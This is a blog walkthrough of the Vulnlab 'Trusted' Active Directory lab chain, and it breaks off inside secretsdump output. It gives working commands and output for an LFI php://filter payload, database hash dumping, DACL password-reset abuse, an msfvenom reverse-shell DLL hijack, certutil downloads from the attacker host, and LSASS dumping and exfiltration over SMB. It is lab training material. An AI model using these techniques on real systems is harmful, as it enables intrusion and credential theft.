Vulnlab - Trusted Walkthrough

Introduction
I have been spending some time on Vulnlab and have been impressed with the platform and the realism of the machines they have. I completed a handful of the standalone machines, but I wanted to take a crack at a chain and with that, started with Trusted.
Trusted started with discovering a web page that was vulnerable to a local file inclusion vulnerability which was used to get credentials to a MySQL database. From there, we could remotely connect to the database and extract password hashes for a couple of users. The credentials allowed us to authenticate to the domain when we discovered a misconfigured DACL on another domain user that allowed us to force reset their password.
A side comment about DACLs β I look for and abuse DACLs all the time. DACLs are one of those things that are often not as well-checked as group memberships and yet they could be just as dangerous. Learn to read and abuse DACLs β it will only help you! Okay, back on topic...
Authenticated as the new user, we used Evil-WinRM to access the domain controller. We find an opportunity to abuse a DLL hijacking vulnerability to pivot to a domain administrator. Once we had a context as a domain administrator, it was trivial to escalate from the child domain to the parent via an inter-realm ticket.
Okay, let's do this!
Enumeration
Once the lab was running, I was given two IP addresses to start with.
- 10.10.164.21
- 10.10.164.22
I started with scanning the top 1000 ports to get a feel for what I was up against since all I had were two IP addresses.
[Feb 04, 2025 - 21:31:51 (EST)] exegol-vl trusted2 # nmap -T4 --top-ports 1000 -Pn -iL targets.txt -oN all_targets_init
Starting Nmap 7.93 ( https://nmap.org ) at 2025-02-04 21:32 EST
Nmap scan report for 10.10.164.21
Host is up (0.14s latency).
Not shown: 990 closed tcp ports (reset)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3389/tcp open ms-wbt-server
Nmap scan report for 10.10.164.22
Host is up (0.14s latency).
Not shown: 987 closed tcp ports (reset)
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
443/tcp open https
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3306/tcp open mysql
3389/tcp open ms-wbt-server
Without starting a service scan, let's break these results down first.
- We are up against two domain controllers. But how did I know that? Both hosts had DNS on port 53, Kerberos on port 88, and LDAP on ports 389 and 636. Seeing DNS and Kerberos running on the same machine is a pretty safe bet that it's a domain controller.
- Nothing really interesting on 10.10.164.21. I see SMB and RDP running, which could be helpful but these are services I would just expect to be open.
- Additional open ports on 10.10.164.22. This is assumed to be a domain controller, why is there a web server running? Could it be a web enrollment portal for ADCS? Maybe. Why is MySQL running? Kinda odd if you ask me. Normally only AD DS-related services should be running on a domain controller.
Okay, let's do the service scan to get an idea of what we are working with.
# Nmap 7.93 scan initiated Tue Feb 4 21:38:42 2025 as: nmap -sC -sV -p53,88,135,139,389,445,464,593,636,3268,3269,3389,80,3306 -iL targets.txt -oN all_targets_open
Nmap scan report for 10.10.164.21
Host is up (0.15s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp closed http
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-02-05 02:38:49Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: trusted.vl0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: trusted.vl0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3306/tcp closed mysql
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=trusteddc.trusted.vl
| Not valid before: 2025-02-04T02:30:40
|_Not valid after: 2025-08-06T02:30:40
|_ssl-date: 2025-02-05T02:39:14+00:00; -1s from scanner time.
| rdp-ntlm-info:
| Target_Name: TRUSTED
| NetBIOS_Domain_Name: TRUSTED
| NetBIOS_Computer_Name: TRUSTEDDC
| DNS_Domain_Name: trusted.vl
| DNS_Computer_Name: trusteddc.trusted.vl
| Product_Version: 10.0.20348
|_ System_Time: 2025-02-05T02:38:58+00:00
Service Info: Host: TRUSTEDDC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-02-05T02:38:59
|_ start_date: N/A
Nmap scan report for 10.10.164.22
Host is up (0.15s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.53 ((Win64) OpenSSL/1.1.1n PHP/8.1.6)
|_http-server-header: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/8.1.6
| http-title: Welcome to XAMPP
|_Requested resource was http://10.10.164.22/dashboard/
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-02-05 02:38:49Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: trusted.vl0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: trusted.vl0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3306/tcp open mysql MySQL 5.5.5-10.4.24-MariaDB
| mysql-info:
| Protocol: 10
| Version: 5.5.5-10.4.24-MariaDB
| Thread ID: 9
| Capabilities flags: 63486
| Some Capabilities: SupportsTransactions, ODBCClient, Speaks41ProtocolOld, LongColumnFlag, Support41Auth, IgnoreSigpipes, Speaks41ProtocolNew, IgnoreSpaceBeforeParenthesis, InteractiveClient, SupportsLoadDataLocal, FoundRows, DontAllowDatabaseTableColumn, ConnectWithDatabase, SupportsCompression, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
| Status: Autocommit
| Salt: kkXU!Dr4JWU(c?MH_'CY
|_ Auth Plugin Name: mysql_native_password
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: LAB
| NetBIOS_Domain_Name: LAB
| NetBIOS_Computer_Name: LABDC
| DNS_Domain_Name: lab.trusted.vl
| DNS_Computer_Name: labdc.lab.trusted.vl
| DNS_Tree_Name: trusted.vl
| Product_Version: 10.0.20348
|_ System_Time: 2025-02-05T02:38:58+00:00
| ssl-cert: Subject: commonName=labdc.lab.trusted.vl
| Not valid before: 2025-02-04T02:30:42
|_Not valid after: 2025-08-06T02:30:42
|_ssl-date: 2025-02-05T02:39:14+00:00; 0s from scanner time.
Service Info: Host: LABDC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-02-05T02:39:03
|_ start_date: N/A
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Feb 4 21:39:24 2025 -- 2 IP addresses (2 hosts up) scanned in 41.71 seconds
A tangent about domain trusts
Looking over the results, we have a few hostnames and can see there are two domains at play, lab.trusted.vl
and trusted.vl
. Based on the naming schema, this is a parent-child relationship.
This kind of trust is an implicit bidirectional, transitive trust. The child domain (lab.trusted.vl
) will have a bidirectional transitive trust with the parent domain (trusted.vl).
Transitivity means that if another child domain was added, such as sales.lab.trusted.vl
, the trust would automatically extend through the domain hierarchy. In plain English, if A trusts B and B trusts C, then A trusts C. This is not always the case, but in this type of trust, it is.
This is important to know because if we successfully compromise lab.trusted.vl
, we can escalate our privileges from domain administrator to enterprise administrator by abusing SID history. This involves injecting the SID of a high-privileged group in the parent domain (such as Enterprise Admins, RID513), in the SID history of a ticket, we could gain elevated access in the parent domain.
Okay, let's add these new host names to our host file.
File: /etc/hosts
10.10.164.21 trusted.vl trusteddc.trusted.vl trusteddc
10.10.164.22 lab.trusted.vl labdc.lab.trusted.vl labdc
80 - HTTP
XAMPP is running on port 80 with a few links at the top.

I did check for a certification authority web enrollment portal but it did not exist. Always a good check.

One of the links in the header of the XAMPP index was a PHP info file - those are always good to check out if you see one. It did not help in this case though.

Discovering a new web directory
Fuzzing web directories with ffuf returned a new subdirectory, /dev/
.
[Feb 04, 2025 - 22:00:35 (EST)] exegol-vl trusted2 # ffuf -c -w `fzf-wordlists` -u "http://labdc/FUZZ" -s
img
dev <---
webalizer
phpmyadmin
dashboard
xampp
licenses
server-status
Navigating to http://labdc/dev
loaded a law firm website...oh good, we are breaking into a law firm's infrastructure...

Near the bottom of the page was an interesting note. I mean this makes sense as MySQL is also running on this box. If it is making a connection to the database, surely it might have credentials? We will earmark this.

This note, as odd as it is to have it here, is here for a reason. Let's do some more fuzzing, but this time, for files. We find a file called db.php
...interesting.
[Feb 04, 2025 - 22:05:36 (EST)] exegol-vl trusted2 # ffuf -c -w `fzf-wordlists` -u "http://labdc/dev/FUZZ" --fc 403 -s
index.html
contact.html
.
about.html
db.php
Oh of course can't just read the contents.

Poking around on the law firms page, I noticed each of the links in the header were loaded via the view
parameter.

This looks like a potential local file inclusion vulnerability if we can load files outside of the intended paths. Let's try to load that db.php
file. We could load it, but it didn't display the contents of the file.

But we did confirm loading files was possible - so not all hope is lost. In cases like this, I try PHP filters to see if I can reveal the contents of the page I am trying to load.
In this case, this is just what I did. I used the following payload to successfully output the contents of the db.php
file in base64 encoding.
http://labdc/dev/index.html?view=php://filter/read=convert.base64-encode/resource=db.php

Bingo! Let's convert from base64 to the content a bit easier. I saved the raw base64 string to a new file called db.php.b64
and passed it to base64 to decode. Doing so reveals MySQL credentials being used for the connection test.
[Feb 04, 2025 - 22:14:28 (EST)] exegol-vl trusted2 # cat db.php.b64 | base64 -d
<?php
$servername = "localhost";
$username = "root";
$password = "Super*******************1337.";
$conn = mysqli_connect($servername, $username, $password);
if (!$conn) {
die("Connection failed: " . mysqli_connect_error());
}
echo "Connected successfully";
?>
3306 - MySQL
Using the credentials found via LFI, I successfully connected to the MySQL database.
[Feb 04, 2025 - 22:18:34 (EST)] exegol-vl trusted2 # mysql -h labdc -u "root" -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 20
Server version: 10.4.24-MariaDB mariadb.org binary distribution
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]>
I listed all the databases and after going through each one, I found news
database the most interesting.
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| news |
| performance_schema |
| phpmyadmin |
| test |
+--------------------+
6 rows in set (0.134 sec)
MariaDB [(none)]> use news;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
Listing the tables in the news
database returned table called users
. Reviewing the structure of the tables proves we are in the right spot. The table contains user information such as usernames and passwords.
MariaDB [news]> show tables;
+----------------+
| Tables_in_news |
+----------------+
| users |
+----------------+
1 row in set (0.119 sec)
MariaDB [news]> describe users;
+--------------+-------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+--------------+-------------+------+-----+---------+-------+
| id | int(1) | NO | | NULL | |
| first_name | varchar(64) | NO | | NULL | |
| short_handle | varchar(64) | NO | | NULL | |
| last_name | varchar(64) | NO | | NULL | |
| password | varchar(64) | NO | | NULL | |
+--------------+-------------+------+-----+---------+-------+
5 rows in set (0.130 sec)
MariaDB [news]>
Dumping the contents of the users
table to recover password hashes for three users: rsmith
, ewalters
, and cpowers
.
MariaDB [news]> select short_handle,password from users;
+--------------+----------------------------------+
| short_handle | password |
+--------------+----------------------------------+
| rsmith | 7e7a************************def7 |
| ewalters | d6e8************************e0ad |
| cpowers | e3d3************************5a60 |
+--------------+----------------------------------+
3 rows in set (0.131 sec)
MariaDB [news]>
I copied these hashes to my host machine (I try not to crack passwords in a VM) and Hashcat recovered one of the password hashes to reveal the password for rsmith
.
PS D:\Hashcat> .\hashcat.exe -m 0 .\hashes\trusted.vl --show
7e7a************************def7:IH******c2
389 - LDAP (Authenticated)
With a plaintext password for a user, I verified these credentials with NetExec against labdc
and the credentials were valid.
[Feb 04, 2025 - 22:30:04 (EST)] exegol-vl trusted2 # nxc smb labdc -u rsmith -p IH******c2
SMB 10.10.164.22 445 LABDC [*] Windows Server 2022 Build 20348 x64 (name:LABDC) (domain:lab.trusted.vl) (signing:True) (SMBv1:False)
SMB 10.10.164.22 445 LABDC [+] lab.trusted.vl\rsmith:IH******c2
Enumerating the users in the lab.trusted.vl
domain using NetExec and the users in the database map to users in the domain. This will prove helpful later on.
[Feb 04, 2025 - 22:37:25 (EST)] exegol-vl trusted2 # nxc ldap labdc -u rsmith -p IH******c2 --users
SMB 10.10.164.22 445 LABDC [*] Windows Server 2022 Build 20348 x64 (name:LABDC) (domain:lab.trusted.vl) (signing:True) (SMBv1:False)
LDAP 10.10.164.22 389 LABDC [+] lab.trusted.vl\rsmith:IH******c2
LDAP 10.10.164.22 389 LABDC [*] Enumerated 6 domain users: lab.trusted.vl
LDAP 10.10.164.22 389 LABDC -Username- -Last PW Set- -BadPW- -Description-
LDAP 10.10.164.22 389 LABDC Administrator 2022-09-14 15:07:20 0 Built-in account for administering the computer/domain
LDAP 10.10.164.22 389 LABDC Guest <never> 0 Built-in account for guest access to the computer/domain
LDAP 10.10.164.22 389 LABDC krbtgt 2022-09-14 18:43:59 0 Key Distribution Center Service Account
LDAP 10.10.164.22 389 LABDC rsmith 2022-09-14 18:56:07 0
LDAP 10.10.164.22 389 LABDC ewalters 2022-09-18 21:01:41 1
LDAP 10.10.164.22 389 LABDC cpowers 2022-09-14 18:57:50 0
With the credentials, I enumerated the membership of a few interesting groups such as Domain Admins
, Remote Management Users
, and Remote Desktop Users
.
cpowers
is a domain administrator which if we can find a way to this user, we compromise the child domain and are one step closer to enterprise administrator.ewalters
is a member of the remote management users which means we can accesslabdc
via Evil-WinRM if we can get to this user.
[Feb 04, 2025 - 22:46:43 (EST)] exegol-vl trusted2 # nxc smb labdc -u rsmith -p IH******c2 --groups "Domain Admins"
SMB 10.10.164.22 445 LABDC [*] Windows Server 2022 Build 20348 x64 (name:LABDC) (domain:lab.trusted.vl) (signing:True) (SMBv1:False)
SMB 10.10.164.22 445 LABDC [+] lab.trusted.vl\rsmith:IH******c2
SMB 10.10.164.22 445 LABDC [+] Enumerated members of domain group
SMB 10.10.164.22 445 LABDC lab.trusted.vl\cpowers
SMB 10.10.164.22 445 LABDC lab.trusted.vl\Administrator
[Feb 04, 2025 - 22:47:18 (EST)] exegol-vl trusted2 # nxc smb labdc -u rsmith -p IH******c2 --groups "Remote Management Users"
SMB 10.10.164.22 445 LABDC [*] Windows Server 2022 Build 20348 x64 (name:LABDC) (domain:lab.trusted.vl) (signing:True) (SMBv1:False)
SMB 10.10.164.22 445 LABDC [+] lab.trusted.vl\rsmith:IH******c2
SMB 10.10.164.22 445 LABDC [+] Enumerated members of domain group
SMB 10.10.164.22 445 LABDC lab.trusted.vl\ewalters
[Feb 04, 2025 - 22:50:52 (EST)] exegol-vl trusted2 # nxc smb labdc -u rsmith -p IH******c2 --groups "Remote Desktop Users"
SMB 10.10.164.22 445 LABDC [*] Windows Server 2022 Build 20348 x64 (name:LABDC) (domain:lab.trusted.vl) (signing:True) (SMBv1:False)
SMB 10.10.164.22 445 LABDC [+] lab.trusted.vl\rsmith:IH******c2
SMB 10.10.164.22 445 LABDC [+] Enumerated members of domain group
SMB 10.10.164.22 445 LABDC lab.trusted.vl\ewalters
Reviewing the DACL on ewalters
reveals rsmith
has an ACE to force reset ewalters
password. This means we do not need to know the current password; we can just reset it to something we know and then authenticate as them.
[Feb 04, 2025 - 22:55:17 (EST)] exegol-vl trusted2 # nxc ldap labdc -u rsmith -p IH******c2 -M daclread -o TARGET=ewalters
SMB 10.10.164.22 445 LABDC [*] Windows Server 2022 Build 20348 x64 (name:LABDC) (domain:lab.trusted.vl) (signing:True) (SMBv1:False)
LDAP 10.10.164.22 389 LABDC [+] lab.trusted.vl\rsmith:IH******c2
DACLREAD 10.10.164.22 389 LABDC Be careful, this module cannot read the DACLS recursively.
DACLREAD 10.10.164.22 389 LABDC Target principal found in LDAP (CN=Eric Walters,OU=Maintenance,OU=lab,DC=lab,DC=trusted,DC=vl)
DACLREAD 10.10.164.22 389 LABDC ACE[0] info
DACLREAD 10.10.164.22 389 LABDC ACE Type : ACCESS_ALLOWED_OBJECT_ACE
DACLREAD 10.10.164.22 389 LABDC ACE flags : None
DACLREAD 10.10.164.22 389 LABDC Access mask : ReadProperty
DACLREAD 10.10.164.22 389 LABDC Flags : ACE_OBJECT_TYPE_PRESENT
DACLREAD 10.10.164.22 389 LABDC Object type (GUID) : User-Account-Restrictions (4c164200-20c0-11d0-a768-00aa006e0529)
DACLREAD 10.10.164.22 389 LABDC Trustee (SID) : RAS and IAS Servers (S-1-5-21-2241985869-2159962460-1278545866-553)
<snip>
DACLREAD 10.10.164.22 389 LABDC ACE[24] info
DACLREAD 10.10.164.22 389 LABDC ACE Type : ACCESS_ALLOWED_OBJECT_ACE
DACLREAD 10.10.164.22 389 LABDC ACE flags : CONTAINER_INHERIT_ACE, INHERITED_ACE
DACLREAD 10.10.164.22 389 LABDC Access mask : ControlAccess
DACLREAD 10.10.164.22 389 LABDC Flags : ACE_OBJECT_TYPE_PRESENT, ACE_INHERITED_OBJECT_TYPE_PRESENT
DACLREAD 10.10.164.22 389 LABDC Object type (GUID) : User-Force-Change-Password (00299570-246d-11d0-a768-00aa006e0529)
DACLREAD 10.10.164.22 389 LABDC Inherited type (GUID) : User (bf967aba-0de6-11d0-a285-00aa003049e2)
DACLREAD 10.10.164.22 389 LABDC Trustee (SID) : rsmith (S-1-5-21-2241985869-2159962460-1278545866-1104)
I tried to use Bloodhound with this machine, but I kept running into issues with DNS resolution between the included BloodHound ingestor in NetExec and bloodhound-python. Even with DNSChef, I kept getting resolution errors as the SRV record to find global catalog servers kept failing. The SRV records for DC and PDC resolved just fine.
Resetting ewalters Password
As we know rsmith
can force reset the password for ewalters
, I changed the password with net rpc
to something different.
[Feb 04, 2025 - 23:02:59 (EST)] exegol-vl trusted2 # net rpc password ewalters 'SecurePassword123!' -U lab.trusted.vl/rsmith\%IH******c2 -S labdc
[Feb 04, 2025 - 23:03:06 (EST)] exegol-vl trusted2 #
Now we can log in to the server as ewalters
via Evil-Winrm with the new credentials.
[Feb 04, 2025 - 23:03:39 (EST)] exegol-vl trusted2 # evil-winrm -u ewalters -p 'SecurePassword123!' -i labdc
Evil-WinRM shell v3.7
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\ewalters\Documents>
Oh someone has jokes...
*Evil-WinRM* PS C:\Users\ewalters\Desktop> type "C:/Users/ewalters/Desktop/User.txt"
|\---/|
| o_o |
\_^_/
These are not the flags you're looking for.
Take :robitcat: as compensation :).
*Evil-WinRM* PS C:\Users\ewalters\Desktop>
With the pain of not getting a flag right away, I turned to enumerating the host. After some time poking around, something stuck out on the root of the C
drive. It stuck out as AVTest
is not something I would expect to see on C
root.
There is a note that alludes to this application being run often by Christine to try and clean up the AV installations.
*Evil-WinRM* PS C:\AVTest> dir
Directory: C:\AVTest
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/14/2022 4:46 PM 4870584 KasperskyRemovalTool.exe
-a---- 9/14/2022 7:05 PM 235 readme.txt
*Evil-WinRM* PS C:\AVTest> more "C:/AVTest/readme.txt"
Since none of the AV Tools we tried here in the lab satisfied our needs it's time to clean them up.
I asked Christine to run them a few times, just to be sure.
Let's just hope we don't have to set this lab up again because of this.
*Evil-WinRM* PS C:\AVTest>
Debugging Kaspersky Tool
I downloaded KasperskyRemovalTool.exe
to my Windows 11 development VM and used Process Monitor to monitor what the application does while running.
I noticed several DLLs trying to load but the application could not locate them. This could allow us to create our own DLL file and if we have permission to put it in a directory the application is trying to load them from, we can trick the application to load our DLL file rather than the legitimate one.
Before we get too excited, we need to know the logic used to load DLLs and where they are loaded from. There is a pecking order Windows will use when trying to locate a DLL.
- The directory where the application was run from
- C:\Windows\System32
- C:\Windows\System
- C:\Windows
- Current working directory
- Directories listed in the PATH environment variable
This means if we have permission to write on one of these paths we could potentially place our own DLL file which would be loaded by the application.
Configuring ProcMon Filters
I set some process filters to make finding possible abuse vectors a little easier.
- Filtering the process name to show just activity from
KasperskyRemovalTool.exe
- Result where the value is
NAME NOT FOUND
. This means a DLL was attempted to load from this path but could not be found. - The path ends in
.dll
. This just filters the actions to those that end in a DLL file.

Running the Kaspersky removal tool with these filters found several DLL files that failed to load. Most of the DLL files trying to load were from the directory where the application was originally loaded, which is the first directory in the search order list.

Checking Permissions on C:\AVTest
As we have proved the Kaspersky removal tool is attempting to load several DLL files in the directory it was run from, we can check the permissions on C:\AVTest
on the machine to see if we have permission to write there.
Listing the ACL with icacls shows Everyone
has full control and even if that ACE did not exist, BUILTIN\Users
has write data permissions.
*Evil-WinRM* PS C:\AVTest> icacls .
Everyone:(OI)(CI)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
BUILTIN\Users:(I)(CI)(AD)
BUILTIN\Users:(I)(CI)(WD)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
Successfully processed 1 files; Failed processing 0 files
So now all we need to do is create a DLL file matching one of the ones the application was trying to load and if we put it in C:\AVTest
, we could get a reverse shell or execute arbitrary commands. This is helpful because the README file hinted at Christine running this application. If this is cpowers
, that means a domain administrator is executing it.
Generating Malicious DLL
To get a reverse shell as cpowers
, I generated a DLL file with msfvenom and saved it with the correct name to ensure it would be executed by the Kaspersky removal tool.
[Feb 04, 2025 - 23:40:06 (EST)] exegol-vl trusted2 # msfvenom -p windows/shell_reverse_tcp LHOST=10.8.4.11 LPORT=8443 -f dll > KasperskyRemovalToolENU.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of dll file: 9216 bytes
I attempted to upload the DLL via Evil-WinRM but it kept failing as constrained language mode (CLM) was enforced and some of the functions Evil-WinRM is trying to use were blocked.

Side Tangent on CLM Policies
I enumerated the app locker policies to see if there was an approved directory where I could run PowerShell scripts but the directories in the policy required elevated privileges to write to so nothing too useful here to get around CLM. I did try the whole System32
in the file path bypass but it did not have an effect.
*Evil-WinRM* PS C:\Windows> (Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections)
PathConditions : {\%WINDIR\%\Installer\*}
PathExceptions : {}
PublisherExceptions : {}
HashExceptions : {}
Id : 5b290184-345a-4453-b184-45305f6d9a54
Name : (Default Rule) All Windows Installer files in \%systemdrive\%\Windows\Installer
Description : Allows members of the Everyone group to run all Windows Installer files located in \%systemdrive\%\Windows\Installer.
UserOrGroupSid : S-1-1-0
Action : Allow
PathConditions : {\%PROGRAMFILES\%\*}
PathExceptions : {}
PublisherExceptions : {}
HashExceptions : {}
Id : 06dce67b-934c-454f-a263-2515c8796a5d
Name : (Default Rule) All scripts located in the Program\ Files folder
Description : Allows members of the Everyone group to run scripts that are located in the Program\ Files folder.
UserOrGroupSid : S-1-1-0
Action : Allow
PathConditions : {\%WINDIR\%\*}
PathExceptions : {}
PublisherExceptions : {}
HashExceptions : {}
Id : 9428c672-5fc3-47f4-808a-a0011f36dd2c
Name : (Default Rule) All scripts located in the Windows folder
Description : Allows members of the Everyone group to run scripts that are located in the Windows folder.
UserOrGroupSid : S-1-1-0
Action : Allow
So I just downloaded the DLL file with certutil instead.
*Evil-WinRM* PS C:\AVTest> certutil -urlcache -f http://10.8.4.11:8000/KasperskyRemovalToolENU.dll KasperskyRemovalToolENU.dll
**** Online ****
CertUtil: -URLCache command completed successfully.
After waiting for a few seconds, I got a hit on my listener and was running in the context of cpowers
.
[Feb 04, 2025 - 23:41:00 (EST)] exegol-vl trusted2 # nl 8443
[+] Network interfaces...
ens33: 192.168.61.162
docker0: 172.17.0.1
tun0: 10.8.4.11
[+] Starting netcat listener...
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::8443
Ncat: Listening on 0.0.0.0:8443
Ncat: Connection from 10.10.164.22.
Ncat: Connection from 10.10.164.22:55474.
Microsoft Windows [Version 10.0.20348.887]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>set u
USERDNSDOMAIN=LAB.TRUSTED.VL
USERDOMAIN=LAB
USERNAME=cpowers
USERPROFILE=C:\Users\cpowers
Ahh, there is our first flag!
C:\Users\Administrator\Desktop>type User.txt
type User.txt
VL{349e***********************5802}
C:\Users\Administrator\Desktop>
LSASS Exfiltration
So, when I went through this machine for the first time, this is where I spent the majority of my time trying various things. Sure, I could have created a new domain user and then added that user to Domain Admins to authenticate to Evil-WinRM but I wanted to try something else.
I tried Diskshadow and Ntdsutil.exe in an attempt to dump ntds.dit
but neither of the methods worked. I am not sure if it was a Layer 8 issue or not. From there, I turned to dumping LSASS via rdrleakdiag.exe and Comsvcs.dll but while the shell file was created, the process was never dumped. Again, might have been a Layer 8 issue.
I finally turned to downloading ProcDump to dump LSASS via the reverse shell as cpowers
. While ProcDump is a signed executable, the TTP itself could and probably would trigger alerts or active defenses.
C:\Temp>certutil -urlcache -f http://10.8.4.11:8000/procdump.exe procdump.exe
certutil -urlcache -f http://10.8.4.11:8000/procdump.exe procdump.exe
**** Online ****
CertUtil: -URLCache command completed successfully.
Running ProcDump to dump the LSASS process memory and saved the dump file locally.
C:\Temp>procdump.exe -accepteula -ma lsass.exe lsass.bin
procdump.exe -accepteula -ma lsass.exe lsass.bin
ProcDump v11.0 - Sysinternals process dump utility
Copyright (C) 2009-2022 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com
[05:06:45] Dump 1 initiated: C:\Temp\lsass.bin.dmp
[05:06:46] Dump 1 writing: Estimated dump file size is 140 MB.
[05:06:48] Dump 1 complete: 140 MB written in 3.1 seconds
[05:06:48] Dump count reached.
I tried to download this file via the Evil-WinRM session as ewalters
, but for the life of me, I could not get the download function to work. Again, and this is a trend, it could have been something I was doing wrong. No matter what I did, including using absolute paths for the source and destination, I could not get it to work.
As a workaround, I started an SMB server with smbserver.py and configured a username and password to ensure the Windows host could connect.
[Feb 05, 2025 - 00:12:31 (EST)] exegol-vl trusted2 # smbserver.py -smb2support SHARE . -username TestUser -password TestPassword
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
With the SMB server running, I mapped it as the Z
drive while including the username and password used in the smbserver.py command.
*Evil-WinRM* PS C:\Temp> net use Z: \\10.8.4.11\SHARE /user:TestUser TestPassword
The command completed successfully.
*Evil-WinRM* PS C:\Temp>
Copying the LSASS dump file to the Z
drive so I can access it on my local attacking machine.
*Evil-WinRM* PS C:\Temp> copy "C:/Temp/lsass.bin.dmp" Z:
*Evil-WinRM* PS C:\Temp>
Once on my attacking machine, I read the dump file with pypykatz.
[Feb 05, 2025 - 00:15:57 (EST)] exegol-vl trusted2 # pypykatz lsa minidump lsass.bin.dmp
INFO:pypykatz:Parsing file lsass.bin.dmp
FILE: ======== lsass.bin.dmp =======
== LogonSession ==
authentication_id 5567195 (54f2db)
session_id 0
username ewalters
domainname LAB
logon_server LABDC
logon_time 2025-02-05T04:54:42.307349+00:00
sid S-1-5-21-2241985869-2159962460-1278545866-1106
luid 5567195
In the dump output was the NTLM hash for cpowers
which could then be used for any future pass-the-hash attacks.
== LogonSession ==
authentication_id 5850865 (5946f1)
session_id 0
username cpowers
domainname LAB
logon_server LABDC
logon_time 2025-02-05T05:06:01.469532+00:00
sid S-1-5-21-2241985869-2159962460-1278545866-1107
luid 5850865
== MSV ==
Username: cpowers
Domain: LAB
LM: NA
NT: 322d************************3c43
SHA1: e845********************************e373
DPAPI: 0164********************************0000
== WDIGEST [5946f1]==
username cpowers
domainname LAB
password None
password (hex)
As cpowers
was a domain administrator in lab.trusted.vl
, the NTLM hash could be used with secretsdump to pull down everyone's hashes from the domain controller. Admittedly this wasn't too useful as I already had the password for rsmith
, could reset the password for ewalters
, and had the NTLM already for cpowers
but I did it anyway. If anything, I got the hash for the built-in administrator account.
[Feb 05, 2025 - 00:20:18 (EST)] exegol-vl trusted2 # secretsdump -hashes :322d************************3c43 lab/cpowers@labdc.lab.trusted.vl
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x68580865f85a4743db214876adf784df
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:86a9************************b475:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
<skip>
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:7587************************bc07:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
